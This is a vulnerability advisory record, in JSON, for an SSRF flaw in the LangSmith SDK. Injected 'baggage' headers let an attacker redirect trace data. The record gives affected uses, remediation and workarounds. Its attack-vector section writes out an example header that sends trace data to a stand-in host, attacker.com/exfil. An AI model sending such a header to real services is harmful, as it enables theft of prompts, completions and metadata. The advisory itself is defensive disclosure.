{"id":"CVE-2026-25528","aliases":["PYSEC-2026-2584"],"url":"https://o3.security/vulnerability/CVE-2026-25528","summary":"LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection","details":"## Summary\n\nThe LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n   ```\n   baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n   ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker's URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith>=0.6.3`\n- **JavaScript:** `npm install langsmith@>=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic","published":"2026-02-09T20:36:59Z","modified":"2026-09-10T03:50:35.941728103Z","cvss":{"score":5.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"langsmith","fixedVersion":"0.4.6"},{"ecosystem":"PyPI","name":"langsmith","fixedVersion":"0.6.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25528"},{"type":"PACKAGE","url":"https://github.com/langchain-ai/langsmith-sdk"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:50:35.941728103Z"}}